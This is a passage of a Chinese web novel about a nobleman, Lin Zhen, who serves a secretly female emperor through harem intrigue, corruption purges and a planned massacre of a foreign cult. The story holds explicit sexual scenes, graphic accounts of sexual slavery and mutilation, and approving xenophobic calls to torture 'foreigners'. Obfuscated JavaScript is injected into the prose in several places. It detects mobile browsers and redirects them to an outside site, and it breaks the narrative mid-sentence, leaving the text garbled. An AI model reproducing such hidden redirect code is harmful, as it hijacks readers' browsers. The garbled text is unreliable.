她最看重,最宝贵的东西已经被眼前这个男人夺走,自己这具残躯已然成为政治的牺牲品,命该如此,又怎能挣扎。 只要她现在不想死,一切都要听林臻的,因为林臻现在代表的是皇帝。 林臻放下端着的态度,笑了笑说道:“呵,你也不用如此作态。放心吧,只要你乖乖听话,不仅司马家会更进一步,就连你在宫里的地位也是超然的存在,我会启奏陛下封你为妃子,若是诞下龙子,还有重赏。” 说到孩子,司马椿蕾想起可恶的林臻居然在那一刻没有拿出去。 万一真怀了,难道还要生下来吗?那可是林臻的孩子,而不是皇帝的啊! 就在这时,司马椿蕾问了句林臻这辈子都没想到的问题。 “你的孩子,也算龙子吗?” 林臻盯着她,放下茶盏,目光如刀,霸气凛然。 “当然,这世间,只有我才是真龙。” 这句话和造反无异,但就这么被林臻赤果果地从皇宫大内里说出来。 而他又与皇帝关系极好。 司马椿蕾身心巨震,一道炸雷在脑海闪现,令她突然想到什么。 难不成,外面的传言是真的? 陛下,真是个女子? 第206章 娘娘尿床了 这世间,只有我才是真龙。 这句话久久回荡在司马椿蕾的脑海中,挥之不去。 到底什么人才能说出这样的话来。 林臻,他真的是纨绔吗? 司马椿蕾对林臻的固有偏见在这一刻产生了动摇,她情不自禁地看向林臻那俊朗的面容,伟岸的身材。 一时间,竟陷入进去。 自古美人爱英雄,痞子配娇娘,丑女泡帅哥。 我们往往在自身越缺少什么的时候,就越希望在另一半身上寻找什么。 司马椿蕾从小便聪明伶俐,琴棋书画样样精通,以至于心高气傲,不将普通人放在眼里。 从她编出那样的瞎话来保护自己的身体就可以看出,这是个心气极高的女人。 她想当皇后。 除了这个身份以外,任何名头她都不感兴趣。 可偏偏她的家族不够强势,父亲虽然在朝为官多年却依旧不升不降。 好不容易得到机会进宫,让她重新点燃希望之火。 然却造化弄人,她最在意的东西竟在阴差阳错之下被林臻夺走,以至于让她有了心如死灰的念头。 说实话,林臻进来的时候,她都以为自己要被赐死了呢。 可经过刚刚的谈话,让司马椿蕾内心再次有了希望。 若一切真如林臻所说。 或者万一,陛下真的是位女子。 那整个大乾除了林臻以外,自己便没有更好的选择。 这么一想,司马椿蕾不由得苦笑起来。 难道说自己还因祸得福了不成? 经过一番天人争斗,司马椿蕾鼓起勇气,终于开口问道:“世子,妾身有个问题。 “你说。 “陛下真的是位女子吗? “那还能有假?否则怎么会让我来替她圆房 卧槽。 这娘们该不会是以为慕容嫣是因为那些谣言才让自己来当替身的吧? 这什么脑回路? “你你不会误会陛下了吧? “.司马椿蕾先是几秒钟的沉默,旋即突然绽放出绝美的笑脸,“没有。 林臻忽然发现她笑起来好好看,牙齿洁白整齐,不大不小,透露着几分晶莹剔透。 昨天亲起来还真没感觉,现在只觉得抹黑行事太亏了呀! 今天必须点蜡烛! 林臻站起来,拉起司马椿蕾那柔弱无骨的手,说道:“那今晚我们再 试试。” “臣妾也这么觉得。” “为什么?” “因为臣妾想成为您的皇后呀。” 懂事。 林臻就喜欢这懂事的女人。 不作不闹不上吊只需要利益勾引加上甜言蜜语自己就能想通。 唉真好啊不像后世某些女孩子。 给她们花钱她们觉得理所应当哄她们开心也是理所当然但只要有事情需要她们帮助的时候她们就会说:我他妈欠你的? 林臻简直要爱死这个世界了。 “真乖。”林臻拍了拍她的脑袋随即将她大概一米六五的身体横抱起来走向床榻。 雪琪看到这一幕都懵了。 刚刚娘娘还要死要活的现在怎么又主动投入林臻的怀抱了? 哎呀哎呀他们干什么呢?怎么还亲在一起了? 天呐世子吐舌头了!娘娘居然在回应! 哇喔~~世子的舌头看起来好红好经营好好吃的样子啊。 不行不能再看了 要不再看一眼?就一眼! 嗯看完我就出去! 可是看了就停不下来啊。 世子已经把娘娘的腰搂住了。 奇怪进宫之前妈妈桑也没说还有这样的姿势啊为什么娘娘要在世子的怀里把胸膛挺的那么高呢? 哦~原来是为了方便世子食用呀! 不对那世子的手在干什么? 啊!!娘娘尿床了! “娘娘奴婢这就去给您拿手帕!” “站住!”司马椿蕾在百忙之中喊道:“死丫头要不就过来帮忙要不就滚出去!讨打!” 言罢回头又被林臻狠狠吻住:“陛下臣妾想要个太子您快帮帮忙吧!” 雪琪见自己实在插不上手便只好躬身退了出去。 其实最近林臻也在奇怪为什么和这么多女子圆房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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又是两个多时辰的漫长等待,慕容无舌困的靠在宫门口的墙边直流哈喇子,见里面有人传话,他赶紧站起来,指挥步辇进去,将林臻带走。 随即司马椿蕾也穿好衣服走到院内,见林臻走了,立刻冷下脸来,对一众太监宫女,杀意凛然的说道。 “宫里的任何事情都不允许传出去,否则,杀无赦。” “是。” 第207章 好暧昧的姿势啊 不仅仅是慕容无舌就连慕容嫣都等得犯困。 她一个人坐在寝宫的床榻边上面前跪着一个模样娇小的宫女。 “朕说的话你都记住了?” “奴婢记住了。” “若是有半点差池朕不仅要你的脑袋还要你全家的脑袋!明白吗?” “奴婢明白。” 小宫女被慕容嫣凛然的气势吓得不敢抬头同时她也知道了皇帝是个女人需要每天伺候她梳洗打扮裹好束胸。 其实慕容嫣考虑过要不要让林臻亲自伺候她思来想去觉得不稳妥。 一来林臻不会每天都进宫更不会日日临幸妃子所以让他大早上进宫给自己穿束胸不合适。 二来林臻也需要办很多事情留在身边当奴才简直太屈才了。 第三嘛.当然是男女授受不亲。慕容嫣可还记得林臻指尖划过自己胸膛的刹那那种如遭电击的酥麻感觉会让她失去一个帝王的矜持。 总的来说慕容嫣还是不想在林臻面前出丑所以倔强的自己找了个不起眼的宫女。 这小丫头名叫麝月。(你们懂得) 原本是后宫里负责后花园的小婢女上次慕容嫣心血来潮去后花园里游玩时发现了她她居然还躲着走想来性子是腼腆内敛的这样的人藏在寝宫里正合适。 “咚咚咚。” 这回林臻学会敲门了。 慕容嫣对麝月说道:“去开门。” “是。” 麝月起身去给开门。 见门被推开林臻还微微一愣眼见面前小宫女十分熟悉却不曾想起在哪里见过友好的点点头便走了进去。 慕容嫣坐在床榻边上回眸望去。 她刚刚洗过脚此时赤果着玉足肆意的荡在空气中见林臻进来也不收回去。 “处理干净了?” 林臻点点头自顾自搬来一把椅子坐在她对面。 “我没杀她司马椿蕾比想象中更可靠。” 慕容嫣低着头 可能她在也羡慕司马椿蕾吧。 毕竟没有哪个女人会不希望有个男人依靠。 “她是你的女人朕不管但如果出了事朕就拿你是问。” 林臻撇撇嘴。 这样的片汤话慕容安都不知道说过多少次了。 他也不在乎。 “臣过来是建议陛下可以给司马忠一个机会。” “什么意思?你 希望他当丞相吗? “微臣是觉得,司马忠当丞相这件事情百利而无一害。首先便在于政治稳定。她的女儿现在明面上是陛下的妃子,如果诞下龙子那便是皇后,从此慕容家与司马家联姻,不用担心他们会背叛。 “呵。慕容嫣冷笑,“慕容家与司马家?是你林家与司马家吧? “差不多,没什么区别。林臻并没有反驳,“丞相作为朝廷中重要的政治力量,是最需要忠心的,而联姻确实是最好的方法,以后陛下与司马忠之间的沟通与合作,会更加顺畅,很多政策也能顺利落实下去,很大程度上减少了朝廷内部的政治争斗和权力纷争。 慕容嫣点点头,静静地听着。 “除此以外,司马忠家教极其严格,赏罚有度,她的子女也有很高的文化素养,具备一定的管理能力和政治见识。现在后宫刚刚成立,明争暗斗尚不明显,如果让司马椿蕾来暂时管理后宫,可以让后宫更加和谐,从另一方面来讲,也算为陛下分忧了。 “是为你分忧了吧?慕容嫣突然说这么一句。 林臻摸了摸鼻子。 好像也确实是这样。 后宫再怎么闹也闹不到慕容嫣头上来,到头来都是林臻自己的事儿。 “总而言之吧,可以给司马忠一个机会。 “那他如何像顾云霆似的怎么办? “陛下放心,有微臣在,就算来十个顾云霆也不怕。 “切~慕容嫣翻个极其好看的白眼,“你滚吧,朕还得考虑考虑。 说着话,慕容嫣转身爬上床榻。 天呐。 林臻本想吐槽两句,谁知道慕容嫣竟然把用爬这个姿势! 众所周知,爬是需要把屁股撅起来的,而她就这么堂而皇之地撅在林臻面前,就连那什么什么骨都清晰可见! 咕嘟。 这娘们该不会是故意的吧? 想想不太可能。 慕容嫣绝不是那样的性格。 她肯定是没把林臻当外人,而且也不知道自己这个姿势会有多么的暧昧和别扭。 林臻起身,准备走出去,却听见纱幔后面有声音传来。 “等等。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789340|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林臻一惊。 干什么? 不会是要喊我圆房吧? 大姐,我这一天伺候好几个,身体真的吃不消了呀! “把灯熄了。 “哦 林臻还真不知道自己是庆幸,还是失望。 一连过了两日。 林臻没去上朝,也没出门就这么宅在家里休息。 现在一切都走上正轨,像张俪的赌场、月妩的酒楼以及晴雯的车马上等产业,都不需要他亲自操心,凭她们的能力是足以完成的。 前些天做的高粱酒已经发酵差不多,蒸馏器也已经到位,是时候研究下蒸馏酒了。 这个时代的清酒喝着口感不错,但终究喝不到位,以林臻以前陪领导时练出来的酒量,估计得喝二十碗才能上头。 另外,蒸馏酒是独门秘方,制作出来也可以大肆捞钱。 南楚现在富的流油,不干净去搜刮还等什么?前些天是实在没工夫,现在有时间就得抓紧弄。 赚钱刻不容缓呀。 巨大的蒸馏器就放在王府别院的院子里,这里以前是个大会议室,现在被林臻征用来当研究院了。 书房里全都是他最近研究出来的新东西,像耧车,曲辕犁,轧棉机,很多图纸都在这里。 林臻也下令,未经允许,任何人不得靠近研究院,否则杀无赦。 当然,浣碧、晴雯他们自然不算。 此时浣碧端着小碗站在林臻身后,好奇地打量着眼前事物。 “世子,这到底是什么酒呀??” “蒸馏酒!” “蒸馏?那是什么酒?而且这个味道闻起来怪怪的呢。” “等会儿蒸馏出来给你尝一口!” 林臻控制着牛筋管,浓郁的酒香扑鼻而来,有清纯的酒液缓缓滴落在碗中。 他端起来,趴在上面一闻。 “嘶嗯!就是这个味!清香型二锅头!” 浣碧歪着脑袋问道:“二锅头?” “世子!世子!” 林臻还没回答,就见院子外面,三蹦子站在那里大喊。 “世子,外面有个和尚要见您,还说什么足道也是道,手法也是法!” 足道? 手法? 难道是棋牌佛? 第208章 这群外国人我林臻是杀定了 棋牌佛穿着漏腚的裤子,手里拿着扇子,浑身破破烂烂的。但神情却像只机灵的黄鼠狼,都不用三蹦子带路,自己顺着酒香一路疾行至研究院门口。 而此时,林臻手里正端着一碗温热的蒸馏酒,站在这等他。 刚一见面,棋牌佛便笑着眯眯眼。 “世子,好久不见啊!哈哈哈哈,您这是要请贫僧喝酒吗? “没错,正等你呢。言罢林臻同样笑嘻嘻地把碗递过去。 这是林臻第一次做蒸馏酒,以前从没做过,正琢磨着找谁试试毒呢,他就来了。 既然如此,不用白不用。 棋牌佛一副没有多想的样子,端起酒碗,仰起脖子就灌了进去。 入口顿时感觉一片辛辣,咽下去的瞬间仿佛咽下去一团火,灼烧得食道生疼。 棋牌佛闭着眼睛,强忍着喷出来的感觉,缓了半天,这才张开嘴长舒口气。 “呼!好酒啊!哈哈哈哈,这是贫僧多年来喝过的最好的酒!世子,这酒可有名字? “还没想好呢,不如你给起一个? “唔,贫僧见院内伫立着两口大锅,这酒喝着又极其上头,不如就叫二锅头如何? “额甚好,甚好。 林臻有瞬间的愣神。 若不是看棋牌佛混得如此之惨,还以为他也是穿越过来的呢。 林臻摸了摸鼻子,把这种不切实际的想法掏出脑海,问道:“大师今天来,所为何事啊? “哦,上次贫僧说与您谈合作的事情,不知道您考虑的怎么样?棋牌佛明显有些醉意,还没等林臻说道就连连摆手,“您可别拒绝贫僧,若不是贫僧派武僧支援,您那个手下可回不来。 原来曹雄是他救的。 这个情的记。 也罢,林臻点点头。 “你说吧,怎么合作? 言罢林臻指了指院外的凉亭,带头走过来。 那里正好有石桌,方便两人谈话。 棋牌佛走路一摇三晃的直打摆子,酒嗝臭气熏天,让浣碧不停地蹙眉,但又不得不跟着林臻身后。 “贫僧已经探知,拜火教总部的位置!棋牌佛落座第一句话,就如此晴天霹雳。 对此林臻早有预感。 “可是河间郡,袄神楼? “对!但世子只知其然,不知其所以然。 “何解? “这袄神楼的前身,乃是先帝南巡时的行宫,后来便一直荒废着。前几年拜火 教大乾分坛教主沃里克联合当地官员欺上瞒下地将其买了下来并且暗暗改造如今已经是整个北方地区的总部。而且据贫僧所知大乾很多官员都与他们有往来。像世子之前的岳丈刘翰阳就藏在那里。” “刘翰阳在袄神楼?” “没错。但他也是够惨的女儿刘玉莹成为沃里克的炉鼎淫乐之余专门招待贵宾。至于他的妻妾、女子亲属也全部沦为拜火教的侍女供那些邪教徒玩乐。前些时日有消息传来说刘翰阳妻子唐氏胞妹刘淑、刘娴已经不堪受辱绝食而亡。刘玉莹被摘了胞宫喂圣犬。” “砰!” 林臻一掌拍在石桌上眼睛猩红的大骂。 “拜火教我草你们血妈!” 对他来讲不管他与刘翰阳之间有何仇怨 轮不到外族人甚至是外国人来侵害! 而且还伤害得如此之惨林臻岂能容忍? “不把这群畜生生吞活剥我林臻誓不为人!来人!” “且慢!”棋牌佛连忙制止道“世子灭拜火教不是那么容易的事情他们深入百姓之中联合当地官员军队势力庞大盘根错节牵一发而动全身!您必须得做好完全的准备才能行动。” “此事不用你一个和尚来说三道四这群外国人我林臻是杀定了!耶稣也留不住他们我说的!” “耶稣?他们信的阿胡拉。” “我管他什么拉?只要敢动我汉人一根手指头就必须死!侯春!” 侯春听完前因后果早就恨得牙根直痒痒了。 “末将在!” “命你立刻飞鸽传书给三位将军让他们约定好时间同时向袄神楼发起进攻!绝不能放走一人!老子要让拜火教从此在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789341|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华夏除名!” “是!” “等等!”棋牌佛再次说道“世子您可知那三卫将士里没有拜火教的人吗?贫僧建议您还是自己定下时间若是让三卫自由行动恐不够保险!” 林臻掐住鬓边长发潇洒自然的捋下来。 “我心中已有决断侯春你立刻安排下去。” “是!” 侯春急匆匆而去刚走过月亮门突然停住脚步! 等等! 刚才世子是用那只手捋的头发? 左手? 这. 左假右真。 难道说世子刚刚都是在演戏? 给和尚演戏? 为什么啊? 场中,林臻气还未消,坐在石凳上偷摸揉着掌心。 刚才演得太多,拍重了,现在火辣辣的疼。 棋牌佛好像没有了醉意,他看向林臻。 “世子,拜火教势力繁杂,这次行动务必要雷霆万钧,否则他们还会死灰复燃的。” 林臻玩味的道:“我知晓,大师今日无事,不如暂且住下,你我好好喝几杯。” “哈哈哈哈,贫僧已经品尝到了世间极品,多饮反而不美,这就准备告辞了。” “哦?难道说大师今天就为了告诉我,拜火教总部在哪?” “没错,拜火教一日不除,百姓一日不安生,所以还请世子速战速决。” “那大师好走。” 棋牌佛在护卫的陪同下,步伐稳健的走出府门。 林臻这才收起玩味的心思,脸色凝重。 这时,侯春也回来了,在林臻身后抱拳道。 “世子。” “没办错吧?” “没有,末将只是在外面绕了一圈。” “唔。”林臻点点头,发现侯春欲言又止,于是问道:“怎么?有话想说?” 侯春也不知道该如何表达,但他内心就是很好奇。 “世子,末将不明白,您为什么要当着一个和尚的面说谎呢?” “因为他也没说实话。” 第209章 林震仙回来了 浣碧好像明白了什么躬身问道:“世子的意思是那癞头和尚说的都是假的?” “不完全是假的但大部分是假的。”林臻喝了口茶水把手递给浣碧。 浣碧见那掌心通红一片顿时心疼得不行 林臻继续说道:“拜火教的大本营就是河间郡袄神楼这并不难查。但和尚居然以为我不知道故意上门来提醒后来又用刘翰阳家的事情激怒我让我下命令派兵清剿。我故意没说时间他再次出言提醒看来是很想知道我什么时候出兵。” 侯春这才反应过来。 “没错他太主动了而且他并没有要求好处。” “这就是我奇怪的地方如果他一心为民想修成真佛那倒也罢了。可他偏偏又是个酒肉不忌的主可见根本就不信鬼神。所以我很怀疑他的目的。” 林臻看向侯春。 “三位将军那边有消息传回来吗?” “暂时没有。” “那就更不急了等周泽那边把所有藏在民间乡村中的波斯人监控起来再动手不迟。” “是不过世子末将想问刘翰阳家真的如那和尚所说吗?” 林臻叹了口气。 “唉多半是真的。”林臻申请有些落寞。 虽然他对刘翰阳的遭遇并不感到同情但却连累了他的家人这是林臻不想看到的更何况迫害他们的人是一群外国人这便更不能忍了。 即便刚才他有演戏的成分但也算是真情流露。 这群外国人必须死。 而且不能还死得那么轻松必须要受尽酷刑而死。 只有这样才能告慰那些无辜惨死的万千生灵。 经过棋牌佛的事情林臻也没有了继续研究蒸馏酒的心思于是对浣碧吩咐道。 “碧儿你命可靠的人把酒各装出一坛来给张俪和月妩送去让他们推销推销试试水。如果反响还不错我们就可以扩大生产了。” “奴婢遵命。” 林震仙到底还是回来了。 带着三十六颗人头。 人头被他装满了一个马车臭气熏天、招摇过市的回到京城。 林臻来到城门口迎接。 只见今天老爷子穿着银光闪闪的铠甲骑在高头大马上手里攥着一根长钺端的是精神抖擞老当益壮。 见林臻单膝跪在城门前他把手里的兵器扔给随从对林臻说道。 “臻儿 。” “孙儿在。” “走随老夫入宫。” “是。” 林臻知道。 林震仙敢这么大张旗鼓地杀人并且如此照耀地回到京城那手里就肯定已经掌握了贪官的秘密。 一场血雨腥风将再度席卷皇城。 议政殿内。 自从没有了顾北辰在耳边说各种事情慕容嫣的心情是一天比一天好。 尤其对这几天林臻的表现尤为满意。 他不仅代替慕容嫣去伺候嫔妃堵住百官悠悠之口还将司马椿蕾摆平 现在两女经常能坐在一起吃饭探讨后宫之事国之大事闲来也能聊聊儿女情长与闺蜜之间才能聊的小秘密。 慕容嫣为自己找到司马椿蕾这个朋友而高兴也在为大乾的日渐繁荣而喝彩。 就在这时林震仙给了她当头一棒。 正午时分慕容嫣正打算去用午膳就见慕容无舌急匆匆的回来禀报。 “陛下摄政王回来了与林臻一道正在往皇宫而来。还带着三十六颗人头。” “人头?”慕容嫣顿时有些不喜“他这是要干什么?” “老奴不知但王爷脸色很不好恐怕是辽东那边出了事情。” 言罢没过多久林震仙与林臻一前一后来到议政殿门口。 见到慕容无舌林臻脸上没有了往日的嬉戏只有浓浓的正经。 一副要公事公办的样子。 “老奴见过王爷见过世子。” “唔老夫求见陛下。” “陛下有旨王爷直接进去便可。” 带着血腥与腐烂臭气的人头马车就停在殿门口林震仙与林臻迈步走入殿内。 “微臣林震仙参见陛下。” “微臣林臻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789342|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 参见陛下。” “两位爱卿不必多礼。”慕容嫣同样保持着高度警惕“王爷此番辽东之行辛苦了。” “为陛下分忧为大乾惩奸除恶乃微臣本分。” “可有进展?” “陛下。”林震仙从袖口里掏出一个卷宗双手交给慕容无舌后者接过去给慕容嫣铺在龙案上。 仅仅是开篇第一句话就让慕容嫣柳眉紧蹙怒不可遏! “什么!?辽东饿殍遍野死伤无数?” “没错。”林震仙答道:“陛下辽东之地的惨状绝对地方官汇报的那般据臣走访调查这次洪灾起码导 致五千百姓当场死亡,因洪涝田地里颗粒无收,存粮尽毁,百姓们流离失所,又饿死上万。” 慕容嫣干脆不看了,直接问道:“朕不是让人送去赈灾粮食了吗?为何还会饿死这么多?” “经过臣的调查,顾家在京城内以每斗二十文的价格收购粮商手里的粮食,这些粮商又以每斗十七文的价格给顾家回扣,这些粮食运到辽东需要经过蹭蹭关隘,最后到辽东之地时已六不存一。就这样,地方官刘图,蒋步伟等人还用牲口吃的麸糠将其调换,掺入沙子,观音土等物,熬成稀粥发给百姓。而那些粮食,全被他们卖掉换成了现银。” 慕容嫣一巴掌拍在龙案上:“砰!这些官员真是好大的胆子!连朕都敢骗!” “陛下,不仅如此,臣还发现这些官员全部都是在顾云霆的包庇下才如此胆大妄为的,甚至,臣还知道了顾云霆卖官的证据。” “卖官?顾云霆还敢卖官?” 慕容嫣都愣住了。 她身为皇帝,最穷困潦倒的时候都没说卖官,他一个丞相就敢如此? 哼,这也是你死了。 否则朕非要把你碎尸万段! “陛下,京中六部的低级官员很多都是地方调上来的,这些都需要经过顾云霆的核准。还有每年大考时顾云霆收钱安排学子,透露考试科目等行为。” “诸如此类的罪行罄竹难书!臣建议,立刻处死顾云霆,株连九族!” 第210章 林臻,你去后宫里看看顾缜吧 林震仙刚回来,还不知道顾云霆已经死了的事情。 林臻轻咳一声说道:“王爷,顾云霆已经死了。” 林震仙顿时大惊。 “什么!??死了?怎么死的?” “是被他小妾杀死的,目前正在家里停尸。” “死了.”林震仙喃喃几句,随即仰天大笑,“哈哈哈哈哈,死得好!死得好!像他这样坑害百姓的贪官就该死!但是光死他一个可不够,他那儿子也是个作恶多端的孽种!臣建议陛下立刻抓捕顾北辰!” 如此多的证据摆在眼前,由不得慕容嫣不信。 更别说现在的她对林臻深信不疑,早就对顾家一派失去耐心,如今见水到渠成,哪有阻拦的道理? “好!朕就将这件事情交给王爷,命你立刻抓捕顾北辰全家,押入大牢,择日宣判!那些地方官,也全部抓捕归案,五马分尸!” “臣遵旨!不过地方官就算了,臣已经将他们悉数砍杀,此刻人头就在大殿外面。” 慕容嫣嘴角一抽。 好家伙。 你先斩后奏也就罢了,居然还把人头带皇宫里来。 你是生怕朕的宫里不闹鬼是吧? “王爷,人头你带走吧,自行处理即可。” “臣遵旨。” 林震仙高高兴兴地抱拳,转身离开。 他奶奶的。 从今以后,大乾再也没有这帮祸害百姓的贪官了,终于是一片朗朗乾坤了! 林臻对慕容嫣说道:“陛下,臣出去和王爷说几句话,这就回来。” “嗯,快点。” 快点!!?? 这什么意思? 让我快些回来陪你吗? 殿外,林震仙果然在等。 林臻就知道他有话要对自己说,所以刚刚才和慕容嫣告罪。 “祖父。” 林臻叫了一声,林震仙转过身,爽朗大笑。 “哈哈哈哈,臻儿,你看!”林震仙掀起车帘,里面密密麻麻全都是人头,看得林臻直反胃。 只见林震仙手指着其中一个脑袋说道。 “这逼养的就是刘图,刘翰阳的亲弟弟!你猜猜他是怎么上位的?没错,竟然是买通顾云霆!他奶奶的,刘家竟然与顾家沆瀣一气,亏得老夫当年如此厚待他们!老夫杀他的时候,他就躲在桌子底下,吓得大小便失禁。” “还有这个,蒋步伟!提他的名字你都不认识,但他竟然是辽东道大总管!哈哈哈,小兔崽子还想和老夫 掰掰手腕被老夫从城门下一箭穿喉!” “还有他他他” “哼哼老夫从辽东开始整个辽的的官员全部被老夫亲自斩首!痛快至极!” 林臻就这么耐心地听着。 他能感觉到老爷子此刻的快乐。 这不是赌博赢钱、不是睡到美人更不是升官发财。 而是一种对大乾江山对大乾百姓重获新生的喜悦! 这个喜悦值得庆祝。 “祖父牛逼!” “哈哈哈哈你这臭小子!” “啪。”林震仙一巴掌拍在林臻后背险些把林臻拍得背过气去。 他猛烈咳嗽几声翻个白眼。 这老爷子下手没轻没重。 忽然 “咳咳咳咳.孙儿已经掌握了拜火教的行踪和大本营等时机成熟一举拿下。” “好此事老夫就不多问了三卫以后就归你掌管可不要丢了老夫的脸面。” “祖父放心您回家休息吧。孙儿最近酿造了一种好酒正配您此刻的心情。” “哈哈哈哈好。” 林震仙亲手牵着马离开皇宫。 林臻看着他的背影竟也低头笑了笑。 大乾终于不是乌烟瘴气的了。 这也为一个月后的乾楚大战打下了坚实的基础。 秋老虎依旧肆虐在华夏大地上闷热的议政殿好似巨大的蒸笼让人有些喘不过气。 慕容嫣几次想把领口打开些但鉴于林臻在场终究作罢。 殊不知她那对极品林臻早就看过了。 这时慕容嫣靠在龙椅上伸出葱白手指指了指自己的香肩。 “过来给朕按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789343|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按。” 林臻转眼就看向屏风旁边的雪琪:“陛下的话你没听到吗?” “啊是。” 雪琪真以为是自己恍惚了刚要走过去就见慕容嫣瞪着林臻说道:“朕是让你按!” 林臻伸出昨天拍得猩红的手掌心。 “陛下臣手疼.” “切~罢了。”慕容嫣翻个极其好看的白眼“林臻朕决意要铲除顾家及其余党你有什么好方法吗?” “之前因为索立文、廉强的事情陛下已经揪出很多贪官。微臣认为这次就暂且给他们个机会不算在清剿范围之内了等明年有新学子上来时陛下再提拔些低级官员将他们全部 替换掉即可。” “此言有理,但是顾家一派中,还有个人,让朕很是心烦啊。” 还有人? 除了顾北辰还有谁? “臣不明白陛下的意思。” “顾缜。”慕容嫣看向林臻,“她是顾北辰的堂妹,现在就在后宫里。你说要不要一起除掉呢?” 其实林臻是反对一人犯错,全家连坐的。 但一个时代有一个时代的规矩,如果慕容嫣想杀,林臻绝不会阻拦。 “全凭陛下做主便好。” “既然让朕做主,那朕打算给她个机会。晚上的时候你去后宫看看她。如果她识相,便不予追究,朕还会放过他父母亲;若一心寻死,朕也成全她。” 慕容嫣已经不是第一次这么降智了,林臻早习以为常。 估摸着她是喜欢上了有姐妹聊天说话的感觉,像司马椿蕾就是如此。 从小生在皇家,没有任何朋友,也没有人可以说说真心话。 就一个嬛嬛,还因为背叛被关进了草棚。 所以慕容嫣有很多话想要对一个合适的人说,司马椿蕾的出现正好弥补了她心灵上的缺憾,填补了这段空白。 甚至她有个不切实际的想法,那就是把后宫里这么多女子都发展成朋友,那以后日子不就快乐多了吗? 终究是女人啊,林臻这么想着,躬身回答。 “微臣遵旨。” 第211章 一男两女吃螃蟹 看后宫嫔妃总不能大白天的就去看吧? 再说,瞧慕容嫣的意思是想把顾缜留下。 其实这个想法在林臻看来是可以理解的,另外顾缜与顾云霆、顾北辰虽然有血亲,但并不是真正的直系亲属,他们两人的错误还不至于连累到她。 顾云霆的弟弟顾云松也是大官,乃太行山道大总管,名副其实的封疆大吏。 估计慕容嫣对此也有拉拢之意。 不过顾云松是文官,相当于地方最高行政长官。 地方上的兵权其实都在林震仙手里。 所以慕容嫣的这个决定并没有引起林臻的反感。 慕容嫣今天心情不错,再次命慕容无舌等太监搬来一张巨大的乌木书桌,就放在龙台下面,让林臻就座。 两人距离不超过五米,就算说悄悄话也听得非常清晰,算是十分亲近了。 正午,慕容嫣选择在议政殿用膳,居然还象征性地问了问林臻。 “林臻,你吃饭了吗? 林臻倒也没客气:“回陛下,未曾。 “哦。 对话结束。 林臻:? 什么意思? 你问我吃没吃饭,难道不是想邀请我一起吃吗? 合着你就是问问呗!! 吃或没吃,你都没打算让我吃是吧? 见林臻剑眉倒蹙的样子,慕容嫣偷偷抿嘴一笑,随后心安理得地开始享用自己的午餐。 自从把这群贪官污吏扒皮之后,慕容嫣的生活以肉眼可见的速度上涨。 以前吃饭不说清汤寡水,但终于是素了些。 现在可好,一顿午饭差不多有二十个菜。 天上飞的,地上跑地,水里游地,要什么有什么。 林臻看得真切,她那巨大的餐桌上居然还摆着两只螃蟹! 好家伙。 辽东那边连麸糠都吃不上呢,你还这么奢侈! 真是该打! 林臻有些不爽利,矢口问道。 “陛下,恕臣直言,辽东那边的百姓还易子而食呢,您就在这大鱼大肉的,这合适吗? “嗯,确实不合适。慕容嫣很谦虚的点点头,用手指了指饭菜对慕容无舌说道:“无舌,把饭菜收下去装好,给辽东百姓送去。 “遵旨。慕容嫣不在乎,慕容无舌就更不在乎了,当即答应。 然而林臻却更加不爽起来。 “喂喂喂,你什么意思啊?说你两句还不乐意? “ 放肆!你就是这么和朕讲话的? “好好好,臣人微言轻,管不了陛下,也请陛下以后莫要找臣帮忙。林臻脸色明显不好,气鼓鼓地坐下。 慕容嫣见她真生气了,连忙解释道:“哎呀好啦好啦,朕只是想在你面前显摆显摆,生什么气嘛。你看,这东西你吃过吗? 言罢慕容嫣揪起一个螃蟹腿,在林臻面前抖了抖,一副我很厉害的样子。 林臻气急反笑。 